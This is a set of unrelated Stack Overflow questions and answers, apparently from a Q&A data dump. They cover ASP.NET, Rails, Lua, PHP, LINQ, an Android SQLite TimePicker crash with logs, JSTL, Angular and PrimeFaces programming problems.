href="subFolder/linkOnOneLevelDown.cshtml"&gt;Link&lt;/a&gt; </code></pre> <p><strong>EDIT 3</strong></p> <p>When using Layout pages you can use the <code>Href</code>extension method to generate a relative url:</p> <pre><code>&lt;link href="@Href("~/style.css")" ... </code></pre>
9756102	0	 <p>For AJAX requests running through a controller action, you'd need to use <code>flash.now</code> so that the flash message will be available for the current request. So in your case, <code>flash.now[:notice] = "bar"</code>. </p>
19013767	1	Using python docx to create a document and need to modify the paragraph style and save it <p>I am trying to modify "Text Body" style for paragraph in word 2010 so that the Below paragraph spacing is much less. But when I change that value it will not save it so that when I reopen word the modifications are gone.</p> <p>The reason I want to save it is that when the document gets created using python docx and I pass the paragraph function the style it will be with the new values. Anyone have any ideas about this?</p>
27564469	0	lua function argument expected near <eof> <p>I try to use lua in a C++ project. For lua executing I write this:</p> <pre class="lang-cpp prettyprint-override"><code>#include &lt;lua.hpp&gt; ... luaEngine = luaL_newstate(); luaL_openlibs(luaEngine); register_results(luaEngine); // For register c++ object in the LUA script as metatable lua_pushstring(luaEngine, resultsId.c_str()); lua_setglobal(luaEngine, "resultsId"); lua_pushboolean(luaEngine, needReloadModel); lua_setglobal(luaEngine, "needReload"); ... e = luaL_loadbuffer(luaEngine, script.c_str(), script.size(), NULL); if(e != 0) // error message e = lua_pcall(luaEngine, 0, 1, 0); if(e != 0) // error message ... lua_close(luaEngine); </code></pre> <p>And the lua script:</p> <pre class="lang-lua prettyprint-override"><code>local Res = ResUpdateLUA(resultsId) if current_result == "Normal" or current_result=='-' then status = 'E' else status = 'O' end needReload = Res:setShowAnalyte('2320', status) </code></pre> <p>That didn't work and I've got error message:</p> <blockquote> <pre class="lang-none prettyprint-override"><code>[string "?"]:7: function arguments expected near &lt;eof&gt; </code></pre> </blockquote> <p>But when I add</p> <pre class="lang-lua prettyprint-override"><code>print(needReload) </code></pre> <p>at the end of the lua script it works nice. What am I doing wrong?</p>
19995768	0	How to do a C# code before onsubmit() javascript function <p>I want to execute first a C# code before a form redirects to another page.</p> <p>How will i do that?</p>
5833681	0	 <p>Read up on thing called "Closure Tables". It might make few things easier for you.</p>
28641178	0	Unpacking packed primitives (such as an enum) from NSArray or NSDictionary during fast enumeration <p>You can put primitives in an NSArray or NSDictionary by packing them with the @() syntax. For example:</p> <pre><code>typedef enum { MyEnumOne, MyEnumTwo } MyEnum NSDictionary *dictionary = @{ @(MyEnumOne) : @"one", @(MyEnumTwo) : @"two" }; </code></pre> <p>But how do you then use this with fast enumeration? For example, something like:</p> <pre><code>for (MyEnum enum in dictionary) { ... } </code></pre> <p>This results in the error <code>Selector element type 'MyEnum' is not a valid object</code></p>
20315925	0	Why should I use cookies other than for storing a session id? <p>For HTTP as far as I understand are two ways to store data belonging to a client and bring some kind of state into a otherwise stateless Browser-webcontainer-connection: 1) Data stored in cookies on the client-side - or 2) A session ID stored in a cookie and the associated data stored in a webcontainer on the server-side. When I compare these two possibilities I can't come up with a reason, why one should go the first way. But still, when I look at my browser's cookies, I see a lot of data stored in them. </p> <ul> <li>A webcontainer (like tomcat) can store arbitrary data together with a session id - A cookie is quite limited in size.</li> <li>Cookies are more vulnerable, since they are stored on the client's side. Keep data on the server-side is, as it looks for me, just more secure. </li> <li>Both, cookies and webcontainer-sessions, can define expiration dates.</li> <li>Both, browser and webcontainer, persist their data over restarts.</li> </ul> <p>Can anyone come up with a scenario where the use of cookies for storing session data has benefits or is even necessary?</p>
21249347	0	 <p>For the $_POST variables use syntax as $_POST['your variable name']</p> <p>I corrected your code as below:</p> <pre><code>&lt;form action="test.php" method="post"&gt; First Name: &lt;input type="text" name="fname"&gt;&lt;br&gt; Last Name: &lt;input type="text" name="lname"&gt;&lt;br&gt; E-mail: &lt;input type="text" name="email"&gt;&lt;br&gt; &lt;input type="hidden" name="submitted" value="1"&gt; &lt;input type="submit"&gt; &lt;/form&gt; &lt;?php //If form was submitted if ($_POST['submitted']==1) { $errormsg = ""; //Initialize errors if ($_POST['fname']){ $fname = $_POST['fname']; //If fname was entered } else{ $errormsg = "Please enter first name"; } if ($_POST['lname']){ $lname = $_POST['lname']; //If lname was entered } else{ if ($errormsg){ //If there is already an error, add next error $errormsg = $errormsg . ", last name"; } else{ $errormsg = "Please enter last name"; } } if ($_POST['email']){ $email = $_POST['email']; //If email was entered } else{ if ($errormsg){ //If there is already an error, add next error $errormsg = $errormsg . " &amp; email"; }else{ $errormsg = "Please enter email"; } } } if ($errormsg){ //If any errors display them echo "&lt;div class=\"box red\"&gt;$errormsg&lt;/div&gt;"; } //If all fields present if ($fname &amp;&amp; $lname &amp;&amp; $email){ //Do something echo "&lt;div class=\"box green\"&gt;Form completed!&lt;/div&gt;"; } ?&gt; </code></pre>
33581914	0	LINQ select all items of all subcollections that contain a string <p>I'm using jqueryui autocomplete to assist user in an item selection. I'm having trouble selecting the correct items from the objects' subcollections.<br> Object structure (simplified) is</p> <pre><code>public class TargetType { public int Id { get; set; } public string Name { get; set; } public virtual ICollection&lt;SubCategory&gt; SubCategories { get; set; } public TargetType() { SubCategories = new HashSet&lt;SubCategory&gt;(); } } public class SubCategory { public int Id { get; set; } public string Name { get; set; } public virtual ICollection&lt;SubTargetType&gt; SubTargetTypes { get; set; } public SubCategory() { SubTargetTypes = new HashSet&lt;SubTargetType&gt;(); } } </code></pre> <p>Currently I'm doing this with nested foreach loops, but is there a better way?<br> Current code:</p> <pre><code>List&lt;SubTargetResponse&gt; result = new List&lt;SubTargetResponse&gt;(); foreach (SubCategory sc in myTargetType.SubCategories) { foreach (SubTargetType stt in sc.SubTargetTypes) { if (stt.Name.ToLower().Contains(type.ToLower())) { result.Add(new SubTargetResponse { Id = stt.Id, CategoryId = sc.Id, Name = stt.Name }); } } } </code></pre>
15557209	0	How do I store DatePicker Time in a SQLite database? Mine keeps crashing <p>I've created a simple record keeping application using various resources around the internet. I'm able to successfully store text data - however when I attempt to incorporate a <code>TimePicker</code> I end up crashing my entire app. I was instructed how to add this functionality in a previous post - but when I attempt to add fields for the timepicker data the entire app closes (and of course does not save the data) </p> <p><a href="http://stackoverflow.com/questions/15540395/how-do-i-store-timepicker-data-in-my-simple-record-keeping-app">How do I store TimePicker Data in my simple record keeping app?</a></p> <p>I was instructed (by the user above) to use the following:</p> <pre><code>CREATE TABLE ...... dtField date, tmpName Text..... </code></pre> <p>use following for saving date as text</p> <p>//sample date format - 2013-03-21 13:12:00</p> <pre><code>android.text.format.DateFormat.format("yyyy-MM-dd hh:mm:ss", dtDate.getTime()) </code></pre> <p>The first half of which I've implemented (I believe). The second half I'm not too sure how to implement correctly (the first thing I need help with), and my app is force closing as well after making these changes (the second thing I need help with.)</p> <p>Any help resolving this issue is greatly appreciated! (I'm a bit of a noob - so the more detailed the instructions - the better!)</p> <p>Thanks in advance,</p> <p>Amani Swann</p> <p>P.S.</p> <p>I updated the source code below with Robby Pond's suggested:</p> <p>Replace</p> <p>EditText timeEt with</p> <p>TimePicker timeEt</p> <p>but I'm im still unable to run the code shown below. </p> <p>Can someone take a look at the logcat or problems log and let me know if you can tell what is causing the issue at this point? The suggestion by Robby Pond was helpful but I have a deeper issue with the (current) source code below. </p> <p>P.S.</p> <p>I know the error cannot be resolved to a type usually indicates there is a class missing or perhaps an XML issue but the error indicates 'TimePicker cannot be resolved to a type' however I don't have a TimePicker.Java - I just want to use the timepicker buttons coded in the XML below.</p> <p>XML: DATA INPUT </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;ScrollView xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_weight="1"&gt; &lt;LinearLayout android:id="@+id/linearLayout" android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="vertical" android:padding="5dp"&gt; &lt;EditText android:id="@+id/nameEdit" android:layout_width="fill_parent" android:layout_height="wrap_content" android:imeOptions="actionNext" android:hint="@string/name_hint" android:inputType="textPersonName|textCapWords"/&gt; &lt;EditText android:id="@+id/capEdit" android:layout_width="fill_parent" android:layout_height="wrap_content" android:imeOptions="actionNext" android:hint="@string/cap_hint" android:inputType="textPersonName|textCapWords"/&gt; &lt;TextView android:id="@+id/textView3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Data Limit" android:textColor="#ffffff" android:textAppearance="?android:textAppearanceMedium" /&gt; &lt;SeekBar android:id="@+id/seekBar1" android:layout_width="fill_parent" android:layout_height="wrap_content" /&gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="horizontal" &gt; &lt;TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1.0" android:gravity="left" android:textColor="#ffffff" android:text="10MB" /&gt; &lt;TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1.0" android:gravity="right" android:textColor="#ffffff" android:text="Unlimited Data" /&gt; &lt;/LinearLayout&gt; &lt;TextView android:id="@+id/textView3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Bandwidth Limit" android:textColor="#ffffff" android:textAppearance="?android:textAppearanceMedium" /&gt; &lt;SeekBar android:id="@+id/seekBar1" android:layout_width="fill_parent" android:layout_height="wrap_content" /&gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="horizontal" &gt; &lt;TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1.0" android:gravity="left" android:textColor="#ffffff" android:text="10kbs" /&gt; &lt;TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1.0" android:textColor="#ffffff" android:gravity="right" android:text="Unlimited Bandwidth" /&gt; &lt;/LinearLayout&gt; &lt;TextView android:id="@+id/TextView02" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textAppearance="?android:textAppearanceSmall" /&gt; &lt;TextView android:id="@+id/TextView02" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="WiFi Time Limit" android:textColor="#ffffff" android:textAppearance="?android:textAppearanceMedium" /&gt; &lt;TimePicker android:id="@+id/timeEdit" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center" android:gravity="center" android:layout_weight="1.0" /&gt; &lt;EditText android:id="@+id/codeEdit" android:inputType="textUri" android:layout_width="fill_parent" android:layout_height="wrap_content" android:ems="10" android:lines="1" android:hint="@string/code_hint" android:imeOptions="actionNext" /&gt; &lt;Button android:id="@+id/saveBtn" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15dp" android:layout_gravity="center_horizontal" android:text="@string/save_btn"/&gt; &lt;/LinearLayout&gt; &lt;/ScrollView&gt; </code></pre> <p>JAVA: DATA INPUT</p> <pre><code>package com.nfc.linkingmanager; import android.app.Activity; import android.app.AlertDialog; import android.os.AsyncTask; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; public class AddEditCountry extends Activity { private long rowID; private EditText nameEt; private EditText capEt; private EditText codeEt; private TimePicker timeEt; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.add_country); nameEt = (EditText) findViewById(R.id.nameEdit); capEt = (EditText) findViewById(R.id.capEdit); codeEt = (EditText) findViewById(R.id.codeEdit); timeEt = (TimePicker) findViewById(R.id.timeEdit); Bundle extras = getIntent().getExtras(); if (extras != null) { rowID = extras.getLong("row_id"); nameEt.setText(extras.getString("name")); capEt.setText(extras.getString("cap")); codeEt.setText(extras.getString("code")); timeEt.setText(extras.getString("time")); } Button saveButton =(Button) findViewById(R.id.saveBtn); saveButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { if (nameEt.getText().length() != 0) { AsyncTask&lt;Object, Object, Object&gt; saveContactTask = new AsyncTask&lt;Object, Object, Object&gt;() { @Override protected Object doInBackground(Object... params) { saveContact(); return null; } @Override protected void onPostExecute(Object result) { finish(); } }; saveContactTask.execute((Object[]) null); } else { AlertDialog.Builder alert = new AlertDialog.Builder(AddEditCountry.this); alert.setTitle(R.string.errorTitle); alert.setMessage(R.string.errorMessage); alert.setPositiveButton(R.string.errorButton, null); alert.show(); } } }); } private void saveContact() { DatabaseConnector dbConnector = new DatabaseConnector(this); if (getIntent().getExtras() == null) { dbConnector.insertContact(nameEt.getText().toString(), capEt.getText().toString(), timeEt.getText().toString(), codeEt.getText().toString()); } else { dbConnector.updateContact(rowID, nameEt.getText().toString(), capEt.getText().toString(), timeEt.getText().toString(), codeEt.getText().toString()); } } } </code></pre> <p>XML: DATA OUTPUT</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;TableLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:stretchColumns="1" android:layout_margin="5dp"&gt; &lt;TableRow&gt; &lt;TextView style="@style/StyleLabel" android:text="@string/name_lbl"/&gt; &lt;TextView android:id="@+id/nameText" style="@style/StyleText"/&gt; &lt;/TableRow&gt; &lt;TableRow&gt; &lt;TextView style="@style/StyleLabel" android:text="@string/cap_lbl"/&gt; &lt;TextView android:id="@+id/capText" style="@style/StyleText"/&gt; &lt;/TableRow&gt; &lt;TableRow&gt; &lt;TextView style="@style/StyleLabel" android:text="@string/code_lbl"/&gt; &lt;TextView android:id="@+id/codeText" style="@style/StyleText"/&gt; &lt;/TableRow&gt; &lt;TableRow&gt; &lt;TextView style="@style/StyleLabel" android:text="Linked Users"/&gt; &lt;TextView android:id="@+id/codeText" style="@style/StyleText"/&gt; &lt;/TableRow&gt; &lt;TableRow&gt; &lt;TextView style="@style/StyleLabel" android:text="Time Limit"/&gt; &lt;TextView android:id="@+id/timeText" style="@style/StyleText"/&gt; &lt;/TableRow&gt; &lt;/TableLayout&gt; </code></pre> <p>DATA OUTPUT: JAVA</p> <pre><code>import android.app.Activity; import android.app.AlertDialog; import android.content.DialogInterface; import android.content.Intent; import android.database.Cursor; import android.os.AsyncTask; import android.os.Bundle; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.widget.TextView; public class ViewCountry extends Activity { private long rowID; private TextView nameTv; private TextView capTv; private TextView codeTv; private TextView timeTv; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.view_country); setUpViews(); Bundle extras = getIntent().getExtras(); rowID = extras.getLong(CountryList.ROW_ID); } private void setUpViews() { nameTv = (TextView) findViewById(R.id.nameText); capTv = (TextView) findViewById(R.id.capText); timeTv = (TextView) findViewById(R.id.timeText); codeTv = (TextView) findViewById(R.id.codeText); } @Override protected void onResume() { super.onResume(); new LoadContacts().execute(rowID); } private class LoadContacts extends AsyncTask&lt;Long, Object, Cursor&gt; { DatabaseConnector dbConnector = new DatabaseConnector(ViewCountry.this); @Override protected Cursor doInBackground(Long... params) { dbConnector.open(); return dbConnector.getOneContact(params[0]); } @Override protected void onPostExecute(Cursor result) { super.onPostExecute(result); result.moveToFirst(); // get the column index for each data item int nameIndex = result.getColumnIndex("name"); int capIndex = result.getColumnIndex("cap"); int codeIndex = result.getColumnIndex("code"); int timeIndex = result.getColumnIndex("time"); nameTv.setText(result.getString(nameIndex)); capTv.setText(result.getString(capIndex)); timeTv.setText(result.getString(timeIndex)); codeTv.setText(result.getString(codeIndex)); result.close(); dbConnector.close(); } } @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.view_country_menu, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.editItem: Intent addEditContact = new Intent(this, AddEditCountry.class); addEditContact.putExtra(CountryList.ROW_ID, rowID); addEditContact.putExtra("name", nameTv.getText()); addEditContact.putExtra("cap", capTv.getText()); addEditContact.putExtra("time", timeTv.getText()); addEditContact.putExtra("code", codeTv.getText()); startActivity(addEditContact); return true; case R.id.deleteItem: deleteContact(); return true; default: return super.onOptionsItemSelected(item); } } private void deleteContact() { AlertDialog.Builder alert = new AlertDialog.Builder(ViewCountry.this); alert.setTitle(R.string.confirmTitle); alert.setMessage(R.string.confirmMessage); alert.setPositiveButton(R.string.delete_btn, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int button) { final DatabaseConnector dbConnector = new DatabaseConnector(ViewCountry.this); AsyncTask&lt;Long, Object, Object&gt; deleteTask = new AsyncTask&lt;Long, Object, Object&gt;() { @Override protected Object doInBackground(Long... params) { dbConnector.deleteContact(params[0]); return null; } @Override protected void onPostExecute(Object result) { finish(); } }; deleteTask.execute(new Long[] { rowID }); } } ); alert.setNegativeButton(R.string.cancel_btn, null).show(); } } </code></pre> <p>DATABASE CONNECTOR JAVA:</p> <pre><code>import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.SQLException; import android.database.sqlite.SQLiteDatabase; public class DatabaseConnector { private static final String DB_NAME = "WorldCountries"; private SQLiteDatabase database; private DatabaseOpenHelper dbOpenHelper; public DatabaseConnector(Context context) { dbOpenHelper = new DatabaseOpenHelper(context, DB_NAME, null, 1); } public void open() throws SQLException { //open database in reading/writing mode database = dbOpenHelper.getWritableDatabase(); } public void close() { if (database != null) database.close(); } public void insertContact(String name, String cap, String code, String time) { ContentValues newCon = new ContentValues(); newCon.put("name", name); newCon.put("cap", cap); newCon.put("time", time); newCon.put("code", code); open(); database.insert("country", null, newCon); close(); } public void updateContact(long id, String name, String cap,String code, String time) { ContentValues editCon = new ContentValues(); editCon.put("name", name); editCon.put("cap", cap); editCon.put("time", time); editCon.put("code", code); open(); database.update("country", editCon, "_id=" + id, null); close(); } public Cursor getAllContacts() { return database.query("country", new String[] {"_id", "name"}, null, null, null, null, "name"); } public Cursor getOneContact(long id) { return database.query("country", null, "_id=" + id, null, null, null, null); } public void deleteContact(long id) { open(); database.delete("country", "_id=" + id, null); close(); } } </code></pre> <p>DATABASE HELPER JAVA:</p> <pre><code>import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteDatabase.CursorFactory; import android.database.sqlite.SQLiteOpenHelper; public class DatabaseOpenHelper extends SQLiteOpenHelper { public DatabaseOpenHelper(Context context, String name, CursorFactory factory, int version) { super(context, name, factory, version); } @Override public void onCreate(SQLiteDatabase db) { String createQuery = "CREATE TABLE country (_id integer primary key autoincrement,name, cap, code, time);"; db.execSQL(createQuery); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { } } </code></pre> <p>LOGCAT DATA:</p> <pre><code>03-21 17:17:24.276: I/Adreno200-EGLSUB(8655): &lt;ConfigWindowMatch:2165&gt;: Format RGBA_8888. 03-21 17:17:24.276: D/memalloc(8655): ion: Mapped buffer base:0x5ca41000 size:614400 offset:0 fd:57 03-21 17:17:24.276: E/(8655): Can't open file for reading 03-21 17:17:24.276: E/(8655): Can't open file for reading 03-21 17:17:24.376: D/memalloc(8655): ion: Mapped buffer base:0x5d12e000 size:614400 offset:0 fd:61 03-21 17:17:26.188: D/Activity(8655): Activity.onPause(), editTextTapSensorList size: 0 03-21 17:17:26.268: I/Adreno200-EGLSUB(8655): &lt;ConfigWindowMatch:2165&gt;: Format RGBA_8888. 03-21 17:17:26.278: D/memalloc(8655): ion: Mapped buffer base:0x5d4ce000 size:614400 offset:0 fd:68 03-21 17:17:26.318: D/memalloc(8655): ion: Mapped buffer base:0x5d937000 size:614400 offset:0 fd:72 03-21 17:17:26.328: D/memalloc(8655): ion: Unmapping buffer base:0x5ca41000 size:614400 03-21 17:17:26.328: D/memalloc(8655): ion: Unmapping buffer base:0x5d12e000 size:614400 03-21 17:17:26.468: D/Activity(8655): Activity.onPause(), editTextTapSensorList size: 0 03-21 17:17:26.549: D/memalloc(8655): ion: Mapped buffer base:0x5c929000 size:614400 offset:0 fd:54 03-21 17:17:26.619: W/IInputConnectionWrapper(8655): getExtractedText on inactive InputConnection 03-21 17:17:26.639: W/IInputConnectionWrapper(8655): getExtractedText on inactive InputConnection 03-21 17:17:48.322: D/Activity(8655): Activity.onPause(), editTextTapSensorList size: 0 03-21 17:17:48.342: W/dalvikvm(8655): threadid=1: thread exiting with uncaught exception (group=0x410889d8) 03-21 17:17:48.352: E/AndroidRuntime(8655): FATAL EXCEPTION: main 03-21 17:17:48.352: E/AndroidRuntime(8655): java.lang.Error: Unresolved compilation problems: 03-21 17:17:48.352: E/AndroidRuntime(8655): TimePicker cannot be resolved to a type 03-21 17:17:48.352: E/AndroidRuntime(8655): TimePicker cannot be resolved to a type 03-21 17:17:48.352: E/AndroidRuntime(8655): TimePicker cannot be resolved to a type 03-21 17:17:48.352: E/AndroidRuntime(8655): timeEdit cannot be resolved or is not a field 03-21 17:17:48.352: E/AndroidRuntime(8655): TimePicker cannot be resolved to a type 03-21 17:17:48.352: E/AndroidRuntime(8655): TimePicker cannot be resolved to a type 03-21 17:17:48.352: E/AndroidRuntime(8655): TimePicker cannot be resolved to a type 03-21 17:17:48.352: E/AndroidRuntime(8655): at com.nfc.linkingmanager.AddEditCountry.&lt;init&gt;(AddEditCountry.java:19) 03-21 17:17:48.352: E/AndroidRuntime(8655): at java.lang.Class.newInstanceImpl(Native Method) 03-21 17:17:48.352: E/AndroidRuntime(8655): at java.lang.Class.newInstance(Class.java:1319) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.app.Instrumentation.newActivity(Instrumentation.java:1025) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1875) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1985) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.app.ActivityThread.access$600(ActivityThread.java:127) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1151) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.os.Handler.dispatchMessage(Handler.java:99) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.os.Looper.loop(Looper.java:137) 03-21 17:17:48.352: E/AndroidRuntime(8655): at android.app.ActivityThread.main(ActivityThread.java:4477) 03-21 17:17:48.352: E/AndroidRuntime(8655): at java.lang.reflect.Method.invokeNative(Native Method) 03-21 17:17:48.352: E/AndroidRuntime(8655): at java.lang.reflect.Method.invoke(Method.java:511) 03-21 17:17:48.352: E/AndroidRuntime(8655): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:788) 03-21 17:17:48.352: E/AndroidRuntime(8655): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:555) 03-21 17:17:48.352: E/AndroidRuntime(8655): at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>PROBLEMS:</p> <pre><code> Description Resource Path Location Type user3SettingsSave cannot be resolved or is not a field User3Settings.java /NFC Linking Manager/src/com/nfc/linkingmanager line 35 Java Problem The import android.content.Context is never used AppActivity.java /NFC Linking Manager/src/com/nfc/linkingmanager line 5 Java Problem The import android.view.View.OnClickListener is never used AppActivity.java /NFC Linking Manager/src/com/nfc/linkingmanager line 13 Java Problem The value of the field AppActivity.button1 is not used AppActivity.java /NFC Linking Manager/src/com/nfc/linkingmanager line 18 Java Problem The value of the field AppActivity.button2 is not used AppActivity.java /NFC Linking Manager/src/com/nfc/linkingmanager line 18 Java Problem user3Tap cannot be resolved to a type User3Settings.java /NFC Linking Manager/src/com/nfc/linkingmanager line 40 Java Problem The value of the field AppActivity.button3 is not used AppActivity.java /NFC Linking Manager/src/com/nfc/linkingmanager line 18 Java Problem TimePicker cannot be resolved to a type AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 19 Java Problem TimePicker cannot be resolved to a type AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 30 Java Problem TimePicker cannot be resolved to a type AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 30 Java Problem The method deactivate() from the type Cursor is deprecated CountryList.java /NFC Linking Manager/src/com/nfc/linkingmanager line 52 Java Problem The constructor SimpleCursorAdapter(Context, int, Cursor, String[], int[]) is deprecated CountryList.java /NFC Linking Manager/src/com/nfc/linkingmanager line 33 Java Problem The import android.app.AlertDialog is never used User1.java /NFC Linking Manager/src/com/nfc/linkingmanager line 4 Java Problem The import android.view.View.OnClickListener is never used User1.java /NFC Linking Manager/src/com/nfc/linkingmanager line 12 Java Problem The method deactivate() from the type Cursor is deprecated NewCore.java /NFC Linking Manager/src/com/nfc/linkingmanager line 54 Java Problem The constructor SimpleCursorAdapter(Context, int, Cursor, String[], int[]) is deprecated NewCore.java /NFC Linking Manager/src/com/nfc/linkingmanager line 35 Java Problem The import android.content.DialogInterface is never used User1.java /NFC Linking Manager/src/com/nfc/linkingmanager line 6 Java Problem The import android.widget.Button is never used Link.java /NFC Linking Manager/src/com/nfc/linkingmanager line 5 Java Problem The import android.content.Intent is never used Link.java /NFC Linking Manager/src/com/nfc/linkingmanager line 6 Java Problem The import android.view.View.OnClickListener is never used User1Settings.java /NFC Linking Manager/src/com/nfc/linkingmanager line 10 Java Problem The import android.view.View is never used Link.java /NFC Linking Manager/src/com/nfc/linkingmanager line 7 Java Problem The import android.view.View.OnClickListener is never used Link.java /NFC Linking Manager/src/com/nfc/linkingmanager line 8 Java Problem TimePicker cannot be resolved to a type AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 99 Java Problem TimePicker cannot be resolved to a type AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 91 Java Problem TimePicker cannot be resolved to a type AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 41 Java Problem timeEdit cannot be resolved or is not a field AddEditCountry.java /NFC Linking Manager/src/com/nfc/linkingmanager line 30 Java Problem The method showDialog(int) from the type Activity is deprecated User2Settings.java /NFC Linking Manager/src/com/nfc/linkingmanager line 37 Java Problem </code></pre>
6315674	0	 <p>Try this:</p> <pre><code>$(function(){ $(".Link").click(function(){ var index = $(".Link").index(this); var content= $(".Content").eq(index); //Do Something with content. }); }); </code></pre>
9400418	0	 <p>The given XML namespaces (note: that are not "xmlns imports") are correct for JSF 2.x. However, in Facelets 1.x, which is to be used standalone in JSF 1.x projects, the XML namespace for JSTL is different, it should not contain the <code>/jsp</code> path.</p> <pre><code>xmlns:c="http://java.sun.com/jstl/core" </code></pre> <p>But if you're actually already using JSF 2.x (in future JSF 2.x questions please mention and tag accordingly), then you're probably using a servletcontainer which doesn't ship with JSTL included, such as Apache Tomcat. You'd need to download JSTL separately and drop it in <code>/WEB-INF/lib</code> folder. In that case the <code>xmlns:c="http://java.sun.com/jsp/jstl/core"</code> should work.</p> <h3>See also:</h3> <ul> <li><a href="http://stackoverflow.com/tags/jstl/info">Our JSTL tag wiki page</a></li> </ul> <hr> <p><strong>Unrelated</strong> to the concrete question, using JSTL in Facelets is definitely possible. You should only make sure that you really understand the lifecycle of tag handlers like JSTL in JSF. See also <a href="http://stackoverflow.com/questions/3342984/jstl-in-jsf2-facelets-makes-sense">JSTL in JSF2 Facelets... makes sense?</a> You could alternatively also just use Facelets' own <code>&lt;ui:repeat&gt;</code> tag instead of the <code>&lt;c:forEach&gt;</code>.</p>
32706274	0	Wrap columns in rows using Angular <p><strong>Edited</strong> to include angular code (for illustration purposes only)</p> <p>I've been trying to find away in AngularJS to auto wrap columns in rows after n columns whilst not affecting the index.</p> <pre><code>&lt;div class="row"&gt; {{for (var i = 0; i &lt; list.length; i++ ) { }} &lt;div class="col-4"&gt;list[0].name&lt;/div&gt; {{ } }} </code></pre> <p>This is how it'd be done in PHP below. </p> <p>In short: </p> <pre><code>&lt;div class="row"&gt; &lt;?php $collection = array( 'item1', 'item2', 'item3', 'item4', 'item5', ); for($i = 0; $i &lt; count($collection); $i++ ) : ?&gt; &lt;div class="col-4"&gt; &lt;?php echo $collection[$i] ?&gt; &lt;/div&gt; &lt;?php if(($i + 1) % 3 === 0) :?&gt; &lt;/div&gt; &lt;!-- close row --&gt; &lt;div class="row"&gt;&lt;!-- open new row --&gt; &lt;?php endif ?&gt; &lt;?php endfor ?&gt; &lt;/div&gt; &lt;!-- close final row --&gt; </code></pre> <p>I know it can be done within a controller and pushed back into the DOM within a link function, but that just seems horrible. I'm sure I must be missing something, but conditionally adding the closing div before the opening one is proving tricky for me. </p> <p>P.S. I considered doing the example using Underscore.js, but felt this would be a little more universal. </p>
30298025	0	How to use a data attribute from a target div as view param in a PrimeFaces ContextMenu outcome <p>I'm trying to do the following:</p> <ul> <li>From a simple collection of elements...</li> <li>Add a PrimeFaces ContextMenu...</li> <li>Have the first menu option forward to a new page...</li> <li>Pass a data attribute from the selected element as a view param.</li> </ul> <p>It all seems pretty straightforward, until I come to the last step, and I can't seem to find a way to get this to work.</p> <p>e.g.</p> <pre><code> &lt;div class="group" data-group="GRP1"&gt; ... &lt;/div&gt; &lt;div class="group" data-group="GRP2"&gt; ... &lt;/div&gt; &lt;div class="group" data-group="GRP3"&gt; ... &lt;/div&gt; &lt;p:contextMenu targetFilter="div.group"&gt; &lt;p:menuitem value="Edit" outcome="group.xhtml?group=GRP???"/&gt; &lt;/p:contextMenu&gt; </code></pre> <p>The divs are generated HTML and I don't really have much control over those, so probably need to do something with Javascript on the client side.</p> <p>I've tried to get hold of the group from the Javascript side, but I can't see how to bind a function to the beforeShow handler. I can see that if I can register the correct event handler then the PF code will pass me the event (from which I can get the target element and the data attribute):</p> <pre><code> // from PF menu.js if(this.cfg.beforeShow) { var retVal = this.cfg.beforeShow.call(this, e); if(retVal === false) { return; } } </code></pre> <p>But I'm not sure how to access this - if I just use inline event registration then I can only pass Javascript code not a reference to my function:</p> <pre><code> function doBeforeShow(menu, event) { var group = event.target.dataset['group']; } &lt;p:contextMenu targetFilter="div.group" beforeShow="/* this is just executed JS not a bound function */"&gt; </code></pre> 